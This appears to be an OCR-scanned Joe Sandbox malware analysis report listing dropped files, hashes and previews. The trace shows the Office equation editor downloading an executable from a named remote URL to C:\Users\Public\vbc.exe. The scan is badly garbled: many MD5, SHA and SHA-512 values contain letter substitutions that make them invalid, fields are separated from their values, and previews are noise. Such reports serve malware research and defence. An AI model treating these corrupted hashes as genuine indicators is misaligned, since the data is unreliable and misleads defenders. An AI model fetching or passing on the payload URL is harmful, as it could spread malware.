https://view.joesandbox.com/analysis/350599/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350599/html/none?idtype=webid
https://view.joesandbox.com/analysis/350593/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350593/html/none?idtype=webid
https://view.joesandbox.com/analysis/349845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349845/html/none?idtype=webid
https://view.joesandbox.com/analysis/349540/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349540/html/none?idtype=webid
https://view.joesandbox.com/analysis/349340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349340/html/none?idtype=webid
https://view.joesandbox.com/analysis/348903/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348903/html/none?idtype=webid
https://view.joesandbox.com/analysis/345298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345298/html/none?idtype=webid
https://view.joesandbox.com/analysis/327472/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/327472/html/none?idtype=webid
https://view.joesandbox.com/analysis/324016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/324016/html/none?idtype=webid
https://view.joesandbox.com/analysis/294887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294887/html/none?idtype=webid
https://view.joesandbox.com/analysis/286924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/286924/html/none?idtype=webid
https://view.joesandbox.com/analysis/286471/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/286471/html/none?idtype=webid
https://view.joesandbox.com/analysis/280649/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/280649/html/none?idtype=webid
https://view.joesandbox.com/analysis/277867/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/277867/html/none?idtype=webid
https://view.joesandbox.com/analysis/277216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/277216/html/none?idtype=webid

No context

Dropped Files

Match Associated Sample Name / URL SHA 256 Detection Link Context

C:\Users\user\AppData\Roaming\MLdAu\ Get hash malicious Browse

MLdAu.exe

C:\Users\user\AppData\Roaming\WzyRX Get hash malicious Browse

CWtdGSdEA.exe

C:\Users\user\AppData\Local\Microsoft\ Get hash malicious Browse
Windows\Temporary Internet
Files\Content.IE5\ZAE7RW1P\Doc_8765

4334567[1].exe

Created / dropped Files

Process: C:\Users\Public\vbc.exe

File Type: Microsoft Cabinet archive data, 61020 bytes, 1 file

Category: dropped

Size (bytes): 61020

Entropy (8bit):  7.994886945086499

Encrypted: true

SSDEEP: 1536:1Z/FdeYPeFusuQszEfLO/NfXfdISINQbGxO4EBJE:Otde Y PiuWAVIHLBGmM

MD5: 2902DE11E30DCC620B184E3BBOFOC1CB

SHA1L: 5D11D14A2558801A2688DC2D6DFAD39AC294F222

SHA-256: E6A7F1F8810E46A736E80EESAC6187690F28F4D5D35D130D410E20084B2C1544

SHA-512: EFD415CDE25B827AC2A7CA4D6486CE3A43CDCC1C31D3A94FD7944681AA3E83A4966625BF2E6770581C4B59D05E35FF9318D9ADADDADES070F131076892AF2|
A0

Malicious: false

Preview:
MSCF ....R.q .authroot.stl.N....5..CK..8T....c_.d....AK...=.D.eWlL.r."Y..."i..,.=|.D.....3..3WW.......y..9..w..D.yM10....".0.e.._."..a0xN....)F.C..t
.2.,.020.1"°L....m?H..C..X>0c..q. a.Hy...r..q/6.p

S).B.y.... AW, K..xm..+M...O.H

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDODOE0426DC8F8008506

Process: C:\Users\Public\vbc.exe

File Type: data

Category: dropped

Size (bytes): 326

Entropy (8bit):  3.1392054451166236

Encrypted: false

SSDEEP: 6:kKjafqdoW+N+SkQIPIEGYRMY9z+4KIDA3RUellD1Ut:OG5kPIE99SNxAhUeOet

MD5: 73D434F5661B6D463F837080EA943642

SHAL: 2CD8845DF98F90DB4BF2DD9209A13437A63DB3B0

SHA-256: EF803AE8B228F3D5EEF8B4DBIF65942A0F90D72579AF0470F87DD1A5AA8A06D6

SHA-512: 88D5DFBO3ASEE72A3D41877CB900AE4160BE6GD70A8EEE75D9F6C6601B6DOACLFD8356CDFFO75ECE6FCD3A3F63B04C14471C507BBDC3C79E41D29F7165883E
A5

Malicious: false

Preview:
Pevrer s e (e s T_nSeecAlhttpodetldl windows.uup.date..c.om/ms.dow.n.lo.ad/up.date/v.3/stati

c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".O.d.6.5.4.277.7.5.f.d.7.1.:.0."...

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: downloaded

Size (bytes): 479232

Entropy (8bit):  7.4170903584629215

Encrypted: false

SSDEEP: 12288:NUdeni+TLedHTiw3CzfM5B20R0GU4V24TIWOQCs/I:KciCqdziw3KeRHtIHs/I
MD5: 6733D5E8934EAFF7C0087E7DE2C8E62A

SHAL: 6C0B89DC4C773E51D660780450CBD148F2FF3211

SHA-256: 3441D4122B712A32E1C0518F02903A632ECBF557FBAB71C510C732474D326CD1
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https://view.joesandbox.com/analysis/354570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354570/html/none?idtype=webid
https://view.joesandbox.com/analysis/354570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354570/html/none?idtype=webid
https://view.joesandbox.com/analysis/354570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354570/html/none?idtype=webid

SHA-512:
Malicious:
Antivirus:

Joe Sandbox
View:

|IE Cache URL:

Preview:

B6804A6968FA7ABF68D1A8F6161A0C69584DBFEBSSEFF5F7784C259F2886FE1B444438576D47AB5DDA24496A619DFBFFE02050BC679A3F3E13DD6BC82F61C3C
true
e Antivirus: ReversingLabs, Detection: 13%

e Filename: kwFDCU89PZ.exe, Detection: malicious, Browse

http://arkemagrup.com/Doc_87654334567.exe

.@.. 05..0...@ : H text “.rsrc.. @

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\3593FE9D.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced

dropped

11303

7.909402464702408

false
192:064BSHRaEbPRI3iLtFObLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUIBswpJuaUSt:ODy31IAjObL/EKVIKVFgFgeUUjOmMJIN
9513E5EF8DDC8BODIC23C4DFD4AEECA2

E7FC283A9529AA61F612EC568F836295F943C8EC
88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC
81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134¢

...P.L...sRGB......... gAMA......a....pHYs...t..t.fX. . +.IDATX...|.e............ {.....2.Y8..DI*E.4*6.@.$$....+.T.H/.M6..RH.L.LR.IAC...>3;3;..4..~..>3.<.<..7.

c..x0.Z.X.J...Lhv.u.q..C..D......-..#n ((HVIR.s..05J...2m.....=..R..Gs....G.3.z.."..........(..18..)..[..c&t..ZHV..5....3#..~8...
Yoo e2..2.0.tR}ZI..".&......10.UmK.N.8..C..[.\...G y.U....N....eff...A..Z.b.YU...M.j.vC+\.gu..0Ov..5..f0...."... W..y....0.RSS....2.."L+c.J... ku$._...Av..Z..*Y.0.
z.zMsrT..<q.....a.......0....$2.=|.0.0..A.v..j....h..P.Nv......,.0....z=...1@8m.h.;]..B.q.C.......6...80B......G\.."L.0..[)..Z.XuJ.pE..Q.u.;..$[K..2.....zM=".p.Q@.0.LA../.%....EFsk:z...9
Zo...>z H{{{.ConiXbol K2, Cl 40 LGl plf6A e Qs W.[..s.g+e..|..(...aY.yX... }..nu..8d...L....B."zuxz..A..m;p..(&&....

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\38D6D8CE.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

648132

2.8123789386507605

false

3072:z234ULOtS6WB0JOgFB5AEA7rgXuzgn8nG/ac+5:74UcLe0JOcXuunhqcS
6CB928BE3E67F24A61029E293EF3D385
2026D18C43EC013CCABDO05193648ED51F11723D6
27BB1F6D2D0771E33EEABDC1A8884E798B802497BOADD328EF2967BEC69481AA
FD5DCO0F1513E2740D488D63B73D529279635D52BE9CEFD29B23018ABEF9776D602BB7C6644510E6731451B78C104F2B57DCC462C210CBF66B8B5EBI19EFFCE

false

XX FLALPLEMFH@
L@."C.alibri .
%...X...%...7..

<.-28Q.@..

< X<

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4AAF8EAF.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 816 x 552, 8-bit/color RGB, non-interlaced

dropped

94963

7.9700481154985985

false
1536:U75cCbvDOPYFuxgYx30CS9ITdjg/DnjKgLgA/cx8zJjCKOUORWWH/EXXXXXXXXXB:KAPVZZ+0q/3TLPcx8zJjCXaWFEXXXXXB
17EC925977BED2836071429D7B476809

7A176027FFD13AA407EF29EA42C8DDF7FOCC5D5C
83905385F5DF8E961CE87C8CAF5E2F470CBA3198A6C1ABB0258218D932DDF2E9
3E63730BC8FFEAD4A57854FEALF1F137F52683734B68003480030DA77379EF6347115840280B63B75D61569B2F4F307B832241E3CEC23AD27A771F7B16D199A2

false
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https://view.joesandbox.com/analysis/354570/html/none

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4AAF8EAF.png

Preview:
PNG........ IHDR...0...(.....9....... SRGB......... gAMA......a.....pHYs......... 0.d...IDATX"....e.z..b.$..P .~.Jd.8......... c.c.mF.&....F..[..Zk..>.g...{.UT.S.".O......
'S$’S’'S'S's.QJ....._...7...7.6.6.6.6.6.6.6.....%... )))))) ) E Foorees X....0.MM.M.M.M.M.M..M...>....0.L.LLLI.Z|@...&

ot X W.7.6.6.6.6.6.0.6 {09999 +.. M.M.M.M.M.M..A..A.8. VI.I.I.I.I.I..b 1@...W}S'S'S'S'S'S.eP" .. L.
6.6.6.6.1 6{ 1999992+ . M.MM.M.M.M..A. A8 VLLLLLLBI@...W}S'S'S'S'S'S.eP"..1... 2. b0l 1@.. ~S'S'S'S'S'S'S"..=.6.6.6.6.6.6.6.50.6 ....2.
DB D D I | I.M.M.M.M.M.M.M..L...>....0.I.I.I.I.I.I.I@.....................d.x...7.6.6.6.6.6.6.6 5'S'S'S'S'S'SS.S..<...

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4E649BES6.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 654x513, frames 3
Category: dropped

Size (bytes): 62140

Entropy (8bit):  7.529847875703774

Encrypted: false

SSDEEP: 1536:S30U+TLACuTO/G6VepVUxKHU9CongJvlsg:vCThVKVzHU9ConWvJF

MDS5: 722C1BE1697CFCEAE7BDEFB463265578

SHA1L: 7D300A2BAB951B475477FAA308E4160C67AD93A9

SHA-256: 2EE4908690748F50B261A796E6932FBCA10A79D83C316A9CEE92726CA4453DAE

SHA-512: 2F38E0581397025674FA40B20E73B32D26F43851BE9ABDFA0B1655795CDC476A5171249D1D8D383693775EDIF132FA6BB56D92A8949191738AF05DA053C4E561
Malicious: false

Preview:

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\5BA4E7B3.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 816 x 552, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 94963

Entropy (8bit):  7.9700481154985985

Encrypted: false

SSDEEP: 1536:U75cCbhvDOPYFuxgYx30CS9ITdjg/DnjKgLgA/cx8zJjCKouoRWWH/EXXXXXXXXXB:KAPVZZ+0q/3TLPcx8zJjCXaWFEXXXXXB

MD5: 17EC925977BED2836071429D7B476809

SHA1: 7A176027FFD13AA407EF29EA42C8DDF7FOCC5D5C

SHA-256: 83905385F5DF8E961CE87C8CAF5E2F470CBA3198A6C1ABB0258218D932DDF2E9

SHA-512: 3E63730BC8FFEAD4A57854FEA1F1F137F52683734B68003480030DA77379EF6347115840280B63B75D61569B2F4F307B832241E3CEC23AD27A771F7B16D199A2

Malicious: false

Preview:
.PNG pHYs.......... o.d...AIDATx" .ez.b$.P.1rJd. 8. c.c.mF.&.....F..[..Zk.>g..{..UT.S.'0....eS’S’S
'S’S$'S’S’S.QJ....._...7...07.6.6.6.6.6.6.6.....%... el €.2.)).).).).).0).= Xee. 0.M.M.M.M.M.M.M..M...> 0 LLLLL.ZI@ . & @.

..C.... X W.7.6.6.6.6.6. 6{.0))2).): ) ).)eto . MAM.M.M.M.MLA.L A 8. V|.|.|.|.|A|A.b 1@...W}S'S'S'S’S'S.eP™ . 1w | Xero oMt A XWL7.6

6 6.6. 6 A 6{ 199+ . MMMMMMM..ALABVLLLLLLDI@...Ww}S'S'S’S’S'S.eP ... 1.....ccceen b0 LLLLLL[ 1@, . ~S'S’S'S'S'S'S..=.6.6.6.6.6.6.6.>0.6 ....2.

)BT 5 1 Forrvereeeeeenesn LMMMMMMM.L.>..0LLLLLLI@.............dX.7.6.6.6.6.666.55SSSSSS.S.<..

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8762AF39.png

Process: C:\Program Files\Microsoft Office\Office lL4\EXCEL.EXE

File Type: PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 11303

Entropy (8bit):  7.909402464702408

Encrypted: false

SSDEEP: 192:064BSHRaEbPRI3iLtFObLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUIBswpJuaUSt:ODy31IAjObL/EKVIKVFgFg6UUjOMJIIN

MD5: 9513E5EF8DDC8BOD9C23C4DFD4AEECA2

SHA1L: E7FC283A9529AA61F612EC568F836295F943C8EC

SHA-256: 88A52F8A0BDES931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC

SHA-512: 81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134t
D

Malicious: false

Preview:
PNG........ IHDR.............. P.l...sRGB......... gAMA......a....pHYs.. .t .t.f.X +IDATX...|.€.cocns {.....2.Y8..DI*E.4*6.@.$$....+.T.H/.M6..RH.I.LR.IAC...>3;3;..4..~..>3.<.<..7.
<3..555........ c...x0.Z.X.J...Lhv.u.q..C..D......-... ..((HYR.s..05J...2m....=.R..Gs....G.3.z..".......... (..1%..)..[..c&t..ZHv..5....3#..~8...
Yo e2...?.0.t.R}ZI..‘.&.......rO..U.mK..N.8..C...[..\....G."y.U ..... N..... eff.....A....Z.b.YU....M.j.vC+\.gu..0v..5...fo ..... LWLy OURSSLLL2LL e KuS. LAY Z Y0,
z.zZMsrT..<.q....a....... 0....%$2.5[.0.0..Av..j....h.P.Nv......,.0....z=...1@8m.h.;]..B.q.C.......6...80B......G\.."L.0..[)..Z.XuJ.pE..Q.u...$[K..2.....zZM=".p.Q@.0.LA../.%....EFsk:z...9
z...>z. H{.C..nXb.K.:.2..C..4.fG..p|f6"_.c."Ql...... W.[..s..gte..]..(....aY.yX...}..n.u..8d...L....B."zuxz..*..m;p..(&&....

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\8D4B7BFA.jpeg
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 654x513, frames 3
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\8D4B7BFA.jpeg
Category: dropped

Size (bytes): 62140

Entropy (8bit):  7.529847875703774

Encrypted: false
SSDEEP: 1536:S30U+TLACuTO/G6VepVUXxKHU9CongJvlsg:vCThVKVzHU9ConWvJF
MDS5: 722C1BE1697CFCEAE7BDEFB463265578
SHA1L: 7D300A2BAB951B475477FAA308E4160C67AD93A9
SHA-256: 2EE4908690748F50B261A796E6932FBCA10A79D83C316A9CEE92726CA4453DAE
SHA-512: 2F38E0581397025674FA40B20E73B32D26F43851BE9ABDFA0B1655795CDC476A5171249D1D8D383693775EDIF132FA6BB56D92A8949191738AF05DA053C4E561
Malicious: false
Preview:
...... TFIF o EXIE MM e R ettt h et h b h oo E e h £t b b h e E b h et h ettt

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\A9691677.emf

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000
Category: dropped

Size (bytes): 7608

Entropy (8bit): 5.0848395387371825

Encrypted: false

SSDEEP: 96:+SpE1LSR5gs3iwiMO10VCVU7ckQadVDYM/PVfmhDgpH:5Sq+sW31RGtdVDYM3VfmkpH

MD5: 59A006365F7CA7E6809AEC593181D9BA

SHAL: DDBB1CBA3306CEC237FB6D0130AD72B7EFF610BC

SHA-256: 8C2E1E41CEB13848ADEA43DEA1382211D57B0C72B505D4E6054F7505ED624B4E

SHA-512: 187F9B65553198DF1B17083A86B5EF2D3610445094A2D29C77E1A142E1ES8CBCD50F044DE3089509FFA43E7E1C41161FF1DB6E96620867666E0FB4B05C89652B4
Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\AAE88EOC.jpeg

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3

Category: dropped

Size (bytes): 85020

Entropy (8bit):  7.2472785111025875

Encrypted: false

SSDEEP: 768:RgnqDYqgspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUgQGsF60dxW6JImPncpxoOthOip

MD5: 738BDB90A9D8929A5FB2D06775F3336F

SHA1L: 6A92C54218BFBEF83371E825D6B68D4F896CODCE

SHA-256: 8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDASA13F87DDAAB

SHA-512: 48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEF4EC4EEGC342FC76CCDAAE
8D6

Malicious: false

Preview:

..C
%&()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..
#3R..br...$4.%.....&()*56789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz...
(o

el

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FC2C1618.jpeg

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3

Category: dropped

Size (bytes): 85020

Entropy (8bit): 7.2472785111025875

Encrypted: false

SSDEEP: 768:RgngDY(qspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUqQGsF60dxW6JImPncpxoOthOip

MD5: 738BDB90A9D8929A5FB2D06775F3336F

SHAL: 6A92C54218BFBEF83371E825D6B68D4F896CODCE

SHA-256: 8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDA5A13F87DDAAB

SHA-512: 48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEF4AECAEEGC342FC76CCDA4E
8D6
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FC2C1618.jpeg

Malicious: false

Preview:
...... JFIFCCr}'lA .Qa."q.

........... 11.AQ

aq"Z - ((((((((
(---(---((((((--((((((((((((((((((((((((((((((((((((((((((((((((((((((((
oo oo G oo (oo o (o R PR G P P PR P ¢

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\mso4E71.tmp

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24

Category: dropped

Size (bytes): 1254

Entropy (8bit):  5.835900066445133

Encrypted: false

SSDEEP: 24:EnXJZiYIAZWGWCZGw3jW5uyPBPcemkGFM3JJJJJ0mM6JJJIIZE0JIIIIURIEIIIt:ZNXILATT|GRC3M33IIJIIOM6EIIIJJuol3

MD5: A3C62E516777C15BF216F12143693C61

SHA1L: 277BFA1F59B59276EF52EF39AE26D4ADD3BDB285F

SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408

SHA-512: AA2E51951CF7D51FC8ES5F24D49403A9C3EES3ES57E6080BFSFBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF

Malicious: false

Preview:

|.IXvaLvalvalvalvalvalvalvalvalvalvalvalvalvalvalval..

ol L L L L L Loval

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\mso4EA1.tmp

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24

Category: dropped

Size (bytes): 1254

Entropy (8bit):  5.835900066445133

Encrypted: false

SSDEEP: 24:EnXJZiYIAZWGWCZGw3jW5uyPBPcemkGFM3JJJJI0mM6JJJIIZE0JIIIIURIEIII:ZNXILATT|GRC3IM3IIIJIOMEIIIJJuol3
MD5: A3C62E516777C15BF216F12143693C61

SHA1L: 277BFA1F59B59276EF52EF39AE26D4DD3BDB285F

SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408

SHA-512: AA2E51951CF7D51FC8ES5F24D49403A9C3EE83E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF
Malicious: false

Preview:

|.IXvaLvalvalvalvalvalvalvalvalvalLvalvalvalvalvalval..

ol e L L L L L Vel

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\mso4EA2.tmp

Process: C:\Program Files\Microsoft Office\Office L4\ EXCEL.EXE

File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24

Category: dropped

Size (bytes): 1254

Entropy (8bit): 5.835900066445133

Encrypted: false

SSDEEP: 24:EnXJZiYIAZWGWCZGw3jW5uyPBPcemkGFM3JJJJJ0mM6JJJJIZE0JIIIIURI6IIIZNXILATTIGRC3IM3IIIIIOM6EIIIJJuol3
MD5: A3C62E516777C15BF216F12143693C61

SHAL: 277BFA1F59B59276EF52EF39AE26D4DD3BDB285F

SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408

SHA-512: AA2E51951CF7D51FC8E5F24D49403A9C3EE83E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF.
Malicious: false

Preview:

}l.IXvalvalLvalvalvalvalvalvalvalvalvalvalLvalvalvalval..

AL L L L L foval

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\msoF96C.tmp

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: PC bitmap, Windows 3.x format, 20 x 20 x 24
Category: dropped
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\msoF96C.tmp

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

1254

5.835900066445133

false

24:qEnXJZiYfAZWGWCZGw3jW5uyPBPcemkGFM3JJJJJOmM6JJIIIZE0JIIIIURIBIIIt:ZNXILATTiGRC3M3JIIIIOM6IIIIJuol3

A3C62E516777C15BF216F12143693C61

277BFA1F59B59276EF52EF39AE26D4DD3BDB285F

616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408
AA2E51951CF7D51FC8E5F24D49403A9C3EE83E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF,

false

J.IXvaLvalvalvalvalvalvalvalvalvalLvalvalvalvalvalvalL

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\msoF96D.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PC bitmap, Windows 3.x format, 20 x 20 x 24

dropped

1254

5.835900066445133

false
24:qEnXJZiYfAZWGWCZGw3jW5uyPBPcemkGFM3JJJJJOmM6JJIIIZE0JIIIIURIBIIIt:ZNXILATTiGRC3M3JJIIIOM6JIIJJuol3
A3C62E516777C15BF216F12143693C61

277BFA1F59B59276EF52EF39AE26D4DD3BDB285F
616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408
AA2E51951CF7D51FC8E5F24D49403A9C3EE83E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF

false

....}l.IXvalLvalLvalvalvalvalvalvalvalvalvalvalvalvalvalval..

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\msoF96E.tmp

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE
PC bitmap, Windows 3.x format, 20 x 20 x 24

dropped

1254

Entropy (8bit):  5.835900066445133

Encrypted: false

SSDEEP: 24:qEnXJZiYfAZWGWCZGw3jW5uyPBPcemkGFM3J1JJJJ0OmM6JJIIIZE0JIIIIURIBIIIt:ZNXILATTIGRC3M3JJIIIOM6JIIIJuol3

MD5: A3C62E516777C15BF216F12143693C61

SHA1L: 277BFAL1F59B59276EF52EF39AE26D4DD3BDB285F

SHA-256: 616F688DE9FC058BCD3FD414C3B49473AB0923EB06479EDA252E351895760408

SHA-512: AA2E51951CF7D51FC8E5F24D49403A9C3EE83E57E6080BF5FBDAB73D77020054B561D9B733BC60366B5E2A2F5570650052BFD5196196EFA24EF3E26247D3ADF

Malicious: false

Preview:
BM........ Bl }l.IXvalvalvalvalvalvalvalvalvalvalLvalLvalvalvalvalval.............ccccocoiiiiiiiiniiinicnn val....ooi

val... vaL..ooooo ol L L L L L L AL L val

C:\Users\user\AppData\Local\Temp\Cab6E6E.tmp E

Process: C:\Users\Public\vbc.exe

File Type: Microsoft Cabinet archive data, 61020 bytes, 1 file

Category: dropped

Size (bytes): 61020

Entropy (8bit):  7.994886945086499

Encrypted: true

SSDEEP: 1536:1Z/FdeYPeFusuQszEfLO/NfXfdISINQbGxO4EBJE:OtdeY PiuWAViLBGmM

MD5: 2902DE11E30DCC620B184E3BBOFOC1CB

SHAL: 5D11D14A2558801A2688DC2D6DFAD39AC294F222

SHA-256: E6A7F1F8810E46A736E80EESAC6187690F28F4D5D35D130D410E20084B2C1544

SHA-512: EFD415CDE25B827AC2A7CA4D6486CE3A43CDCC1C31D3A94FD7944681AA3E83A4966625BF2E6770581C4B59D05E35FF9318D9ADADDADES070F131076892AF21
A0

Malicious: false
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C:\Users\luser\AppData\Local\Temp\Cab6E6E.tmp E

Preview:

C:\Users\luser\AppData\Local\Temp\Tar6E6F.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\Public\vbc.exe

data

modified

158974

6.311775051607851

false

1536:ilgXley2pR737/99UF210gNucQodv+1//dMrYJIntYyjCQx7s2t6 OGP:iQXipR70/gNuc/v+IXjCQ7sO00
E4731F8A3E7352DBA44EC7D3DD15BAEA

D5CA0025FBD356DEBSEDE35001F93039625562A5
6C78EF77ACEF978321CCD30EE126FB7D30285BC186DDBDBESB3ESF6E69D01353

E68BA11A73E28404A274FOEE4ECC97A8BEFEDB91A20BDC5B00C72AE8928DD63924E351BESA88E40960D54CEQ7E21EA21710DBODFAO0A5558C4264490E27B69
88

false

0.l.*H.......l0...1.0..  Heeo.. 0.\ 40700 0L O+ T
~@wO0Z..+.....7...1L.JM.i.c.r.o.s.0.f.t. .R.0.0.t. .C.ertific.ate. Au.
e [/..ulv..%1...0...+.....7..h1.....6.M...0 204710 V. b0$..+....7...1...>)....5,.=$.~R."..00..+.....7..b1".
[X....[....3x:_....7.2...Gy.cS.0D. .+.....7...16.4V.e.ri.S.i.g.n. .T.i.m.e. .Stam.p.i.ng. .CA..0...4.R..27...1.0.+..7.h1...08&.0.. .+..7.1.0..+..7<.0 .+..7.1.
do. AL [LI@0%. +.. 70 1 W FLL9NLL 00, L 70T L@, .G d..mLu S X J0B+..7...14.2M.i.c.r.o.s.0.f.t. .R.0.0.t. ./A.u.th.o

C:\Users\luser\AppData\Local\Temp\tmp74F2.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

